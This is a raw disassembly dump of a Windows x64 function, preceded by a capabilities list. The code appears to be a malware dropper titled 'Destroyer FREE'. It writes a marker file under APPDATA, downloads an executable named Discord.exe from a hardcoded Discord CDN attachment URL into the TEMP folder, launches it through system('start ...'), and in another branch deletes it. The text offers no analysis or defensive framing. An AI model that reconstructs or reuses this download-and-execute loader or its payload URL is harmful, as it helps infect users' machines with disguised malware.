Function at 0x140003350
Capabilities:
Delete file
Execute command
Query environment variable
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x1400806f8]
xor rax, rsp
mov qword [rbp + 0x140], rax
xor r13d, r13d
lea rdx, str.Russian
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
lea rcx, str.Destroyer_FREE
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.140002be0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], r13
mov rsi, 0xffffffffffffffff
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x1400033e0
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006380
nop
movabs rdx, 0x7fffffffffffffff
mov rax, rdx
mov r14, qword [rbp + 0x20]
sub rax, r14
cmp rax, 0xa
jb 0x140003e4a
lea r12, [rbp + 0x10]
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov rcx, qword [rbp + 0x28]
mov qword [rsp + 0x38], rcx
cmp rcx, 0x10
cmovae r12, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], r13
lea r15, [r14 + 0xa]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rbp - 0x50]
lea eax, [rbx + 7]
cmp r15, rbx
jbe 0x1400034c4
mov rbx, r15
or rbx, 0xf
cmp rbx, rdx
jbe 0x140003467
mov rbx, rdx
jmp 0x14000346e
cmp rbx, rax
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
cmovb rcx, rsi
cmp rcx, 0x1000
jb 0x1400034ae
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003e50
mov rcx, rax
call fcn.140063640
test rax, rax
je 0x140003d9f
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400034c0
test rcx, rcx
je 0x1400034bd
call fcn.140063640
mov rdi, rax
jmp 0x1400034c0
mov rdi, r13
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], rbx
mov r8, r14
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str.destroyer]
movsd qword [r14 + rdi], xmm0
movzx eax, word [0x140075968]
mov word [r14 + rdi + 8], ax
mov byte [rdi + r15], 0
mov r13, qword [rbp - 0x40]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x10
jb 0x140003e56
lea r15, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae r15, qword [rbp - 0x50]
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor r12d, r12d
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r12
lea r14, [r13 + 0x10]
mov ebx, reloc.WS2_32.dll_ntohs
lea rdi, [rbp - 0x30]
cmp r14, rbx
jbe 0x1400035be
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000355b
mov rbx, rcx
jmp 0x140003568
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
cmovb rcx, rsi
cmp rcx, 0x1000
jb 0x1400035a8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003e5c
mov rcx, rax
call fcn.140063640
test rax, rax
je 0x140003d51
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400035ba
test rcx, rcx
je 0x1400035b7
call fcn.140063640
mov rdi, rax
jmp 0x1400035ba
mov rdi, r12
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], rbx
mov r8, r13
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.check.destroyer]
movups xmmword [rdi + r13], xmm0
mov byte [rdi + r14], r12b
mov rdi, qword [rbp - 0x20]
lea rbx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rbx, qword [rbp - 0x30]
call fcn.14006308c
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
lea r8, [rsp + 0x70]
mov edx, eax
lea rcx, [rbp - 0x70]
call fcn.140001980
nop
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 8
cmovae rcx, qword [rbp - 0x70]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rbp - 0x10]
call fcn.140063240
mov r8d, eax
mov r15d, 1
test eax, eax
jne 0x14000368f
mov edx, dword [rbp]
test r15b, dl
mov ecx, 0x1ff
mov eax, 0x16d
cmovne ecx, eax
mov dword [rsp + 0x74], ecx
bt edx, 0xa
jae 0x140003681
mov eax, dword [rbp + 4]
cmp eax, 0xa000000c
jne 0x140003673
lea eax, [r8 + 4]
jmp 0x1400036b1
cmp eax, 0xa0000003
jne 0x140003681
mov eax, 0xa
jmp 0x1400036b1
movzx eax, dl
and eax, 0x10
or eax, 0x20
shr eax, 4
jmp 0x1400036b1
mov dword [rsp + 0x74], 0xffff
sub eax, 2
je 0x1400036ae
sub eax, r15d
je 0x1400036ae
sub eax, 0x32
je 0x1400036ae
cmp eax, 0x46
mov eax, r12d
jne 0x1400036b1
mov eax, r15d
mov dword [rsp + 0x70], r8d
lea r14, [0x140080750]
mov qword [rsp + 0x78], r14
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x70], xmm0
test eax, eax
je 0x140003715
cmp eax, r15d
sete bl
mov rdx, qword [rbp - 0x58]
cmp rdx, 8
jb 0x140003729
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003724
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003724
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
movzx ebx, r15b
test r8d, r8d
jne 0x140003e34
jmp 0x1400036d7
call fcn.140063684
test bl, bl
je 0x140003bc6
mov rdi, qword [rbp - 0x40]
lea rbx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rbx, qword [rbp - 0x50]
call fcn.14006308c
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
lea r8, [rsp + 0x70]
mov edx, eax
lea rcx, [rbp - 0x10]
call fcn.140001980
nop
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r14
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x10]
call fcn.140002560
cmp dword [rsp + 0x70], 0
jne 0x140003e62
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x1400037c9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037c4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400037c4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140063684
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x30]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
lea rcx, [rbp + 0x30]
call fcn.140005080
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
cmp qword [rbp + 0xb8], 0
je 0x140003bb8
lea rdx, str.true
lea rcx, [rbp + 0x30]
call fcn.1400054d0
lea rcx, [rbp + 0x38]
call fcn.140004fc0
test rax, rax
jne 0x14000385f
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, str.TEMP
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140003880
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140006380
nop
mov r8d, ntohs
lea rdx, str.Discord.exe
lea rcx, [rsp + 0x48]
call fcn.140005280
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x14000391e
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003919
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003919
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140063684
movdqa xmm0, xmmword [0x140075c60]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov ecx, 3
call fcn.1400071f0
call fcn.140006f90
mov r14, rax
test rax, rax
je 0x140003b72
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae rcx, qword [rsp + 0x70]
lea rdx, [0x140075a60]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x1400039cc
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x1400039ad
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400039a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003bab
call fcn.140063684
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x70], 0
lea rcx, [rbp + 0x30]
call fcn.140003e80
jmp 0x140003d1f
lea r8, str.https:__cdn.discordapp.com_attachments_1157008423217528964_1175734680776093757_Discord.exe_ex656c4f3fis6559da3fhmb5c9419eb51a85af874d1397bc55787f4d1d595ce05cd73685a64da136937a34
mov edx, 0x2712
mov rcx, r14
call fcn.140009f60
lea r8, [0x140002d70]
mov edx, 0x4e2b
mov rcx, r14
call fcn.140009f60
mov r8, rdi
mov edx, 0x2711
mov rcx, r14
call fcn.140009f60
mov rcx, r14
call fcn.140007000
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test ebx, ebx
jne 0x140003b65
mov r13, qword [rbp - 0x80]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 6
jb 0x140003e78
lea r12, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae r12, qword [rsp + 0x70]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea r15, [r13 + 6]
mov edi, reloc.WS2_32.dll_ntohs
lea rbx, [rbp - 0x70]
cmp r15, rdi
jbe 0x140003ae1
mov rdi, r15
or rdi, 0xf
cmp rdi, rcx
jbe 0x140003a7f
mov rdi, rcx
jmp 0x140003a8c
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
mov rcx, rdi
add rcx, 1
cmovb rcx, rsi
cmp rcx, 0x1000
jb 0x140003acc
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003e2e
mov rcx, rax
call fcn.140063640
test rax, rax
je 0x140003b56
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140003add
test rcx, rcx
je 0x140003adb
call fcn.140063640
mov rbx, rax
jmp 0x140003add
xor ebx, ebx
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], rdi
mov eax, dword [str.start]
mov dword [rbx], eax
movzx eax, word [0x140075a68]
mov word [rbx + 4], ax
lea rcx, [rbx + 6]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140003b62
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003b5d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140063684
xor r12d, r12d
mov rcx, r14
call fcn.140006f60
call fcn.140007190
call fcn.1400031f0
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140003bb8
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003bb2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003bb2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140063684
nop
lea rcx, [rbp + 0x30]
call fcn.140003e80
jmp 0x140003d1c
lea rcx, str.TEMP
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
inc rsi
cmp byte [rax + rsi], 0
jne 0x140003be2
mov r8, rsi
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140006380
nop
mov r8d, ntohs
lea rdx, str.Discord.exe
lea rcx, [rbp - 0x10]
call fcn.140005280
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x140003c7c
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c77
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c77
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140063684
movdqa xmm0, xmmword [0x140075c60]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x140003cb5
lea rdx, [0x140075a70]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x140003cc3
lea rdx, [0x140075a90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400054d0
lea rdx, [0x1400056a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400031f0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140003d1c
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d17
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140063684
mov r15d, r12d
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140003d5d
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d58
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d58
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140063684
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x140003dab
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003da6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003da6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140063684
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x50], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0x10
jb 0x140003dfb
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003df6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003df6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140063684
mov eax, r15d
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.140063620
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001180
nop
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x70]
lea rcx, str.exists
call fcn.140002500
nop
call fcn.140001220
int3
call fcn.140001180
nop
call fcn.140001220
int3
call fcn.140001180
nop
lea r8, [rbp - 0x10]
lea rdx, [rsp + 0x70]
lea rcx, str.create_directories
call fcn.140002500
nop
call fcn.140001220
int3